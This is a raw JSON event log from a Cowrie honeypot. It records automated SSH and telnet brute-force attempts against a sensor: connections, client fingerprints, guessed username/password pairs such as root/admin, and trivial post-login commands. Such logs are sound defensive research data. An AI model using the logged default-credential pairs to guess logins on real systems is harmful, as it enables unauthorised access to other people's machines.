{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:45.287857Z","src_ip":"185.71.233.73","session":"11cd6d513d82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:45.590744Z","src_ip":"185.71.233.73","session":"11cd6d513d82","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:46.042821Z","src_ip":"185.71.233.73","session":"76d1ec22e94e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:46.565008Z","src_ip":"185.71.233.73","session":"11cd6d513d82","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:47.441336Z","src_ip":"185.71.233.73","session":"11cd6d513d82","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:47.840284Z","src_ip":"185.71.233.73","session":"11cd6d513d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.91811537742615,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:47.903281Z","src_ip":"45.58.127.90","session":"1f807d3099f4","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:06:49.133130Z","src_ip":"185.71.233.73","session":"11cd6d513d82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":56442,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e6351f8b803","protocol":"ssh","message":"New connection: 103.88.76.27:56442 (159.203.135.109:22) [session: 8e6351f8b803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:00.529819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:00.535220Z","src_ip":"103.88.76.27","session":"8e6351f8b803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:00.774042Z","src_ip":"103.88.76.27","session":"8e6351f8b803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"1qaz@WSX","message":"login attempt [developer/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:01.759026Z","src_ip":"103.88.76.27","session":"8e6351f8b803","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:02.048083Z","src_ip":"185.71.233.73","session":"76d1ec22e94e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":50886,"dst_ip":"159.203.135.109","dst_port":22,"session":"f725760c7f79","protocol":"ssh","message":"New connection: 47.239.15.75:50886 (159.203.135.109:22) [session: f725760c7f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:02.788719Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:03.004247Z","src_ip":"103.88.76.27","session":"8e6351f8b803","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:03.079122Z","src_ip":"185.71.233.73","session":"76d1ec22e94e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:03.083666Z","src_ip":"185.71.233.73","session":"76d1ec22e94e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:05.120575Z","src_ip":"185.71.233.73","session":"11cd6d513d82","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:06.138316Z","src_ip":"185.71.233.73","session":"11cd6d513d82","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:06.142305Z","src_ip":"185.71.233.73","session":"11cd6d513d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.252692222595215,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:10.753867Z","src_ip":"45.58.127.90","session":"9ec19ddd0c4e","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.4","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:19.100320Z","src_ip":"185.71.233.73","session":"76d1ec22e94e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.3","message":"Connection lost after 36.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:19.320797Z","src_ip":"185.71.233.73","session":"76d1ec22e94e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.4","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:22.203344Z","src_ip":"185.71.233.73","session":"11cd6d513d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.2","message":"Connection lost after 37.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:22.504837Z","src_ip":"185.71.233.73","session":"11cd6d513d82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":43444,"dst_ip":"159.203.135.109","dst_port":22,"session":"134a8e267fdc","protocol":"ssh","message":"New connection: 47.239.15.75:43444 (159.203.135.109:22) [session: 134a8e267fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:35.526372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:49.464657Z","src_ip":"47.239.15.75","session":"134a8e267fdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:49.469795Z","src_ip":"47.239.15.75","session":"134a8e267fdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":49532,"dst_ip":"159.203.135.109","dst_port":22,"session":"87fd07c0f33b","protocol":"ssh","message":"New connection: 103.88.76.27:49532 (159.203.135.109:22) [session: 87fd07c0f33b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:58.904409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:58.910000Z","src_ip":"103.88.76.27","session":"87fd07c0f33b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:07:59.157800Z","src_ip":"103.88.76.27","session":"87fd07c0f33b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testmail","password":"test123","message":"login attempt [testmail/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:08:00.180547Z","src_ip":"103.88.76.27","session":"87fd07c0f33b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:08:01.433219Z","src_ip":"103.88.76.27","session":"87fd07c0f33b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:08:21.483100Z","src_ip":"47.239.15.75","session":"134a8e267fdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"48.1","message":"Connection lost after 48.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:08:23.656346Z","src_ip":"47.239.15.75","session":"134a8e267fdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34274,"dst_ip":"10.17.0.5","dst_port":23,"session":"80862633782f","protocol":"telnet","message":"New connection: 45.58.127.90:34274 (10.17.0.5:23) [session: 80862633782f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:08:25.177284Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34290,"dst_ip":"10.17.0.5","dst_port":23,"session":"e25ad3f8a184","protocol":"telnet","message":"New connection: 45.58.127.90:34290 (10.17.0.5:23) [session: e25ad3f8a184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:08:25.430054Z"}
{"eventid":"cowrie.session.closed","duration":37.336939334869385,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:09:02.766801Z","src_ip":"45.58.127.90","session":"e25ad3f8a184","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:09:02.794507Z","src_ip":"47.239.15.75","session":"f725760c7f79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":54422,"dst_ip":"159.203.135.109","dst_port":22,"session":"394b1442067b","protocol":"ssh","message":"New connection: 47.239.15.75:54422 (159.203.135.109:22) [session: 394b1442067b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:09:03.181384Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":60574,"dst_ip":"159.203.135.109","dst_port":22,"session":"58a36b89ba38","protocol":"ssh","message":"New connection: 103.88.76.27:60574 (159.203.135.109:22) [session: 58a36b89ba38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:09:05.472101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:09:05.477686Z","src_ip":"103.88.76.27","session":"58a36b89ba38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:09:05.713438Z","src_ip":"103.88.76.27","session":"58a36b89ba38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.94831705093384,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:09:06.125479Z","src_ip":"45.58.127.90","session":"80862633782f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"444444","message":"login attempt [ubuntu/444444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:09:06.686413Z","src_ip":"103.88.76.27","session":"58a36b89ba38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:09:07.924317Z","src_ip":"103.88.76.27","session":"58a36b89ba38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":46574,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0c402cc22a1","protocol":"ssh","message":"New connection: 47.239.15.75:46574 (159.203.135.109:22) [session: d0c402cc22a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:09:36.159671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:09:36.166452Z","src_ip":"47.239.15.75","session":"d0c402cc22a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":44236,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b7b84680288","protocol":"ssh","message":"New connection: 103.88.76.27:44236 (159.203.135.109:22) [session: 0b7b84680288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:10:03.399067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:10:03.405748Z","src_ip":"103.88.76.27","session":"0b7b84680288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:10:03.654784Z","src_ip":"103.88.76.27","session":"0b7b84680288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@2023","message":"login attempt [frappe/frappe@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:10:04.660892Z","src_ip":"103.88.76.27","session":"0b7b84680288","protocol":"ssh"}
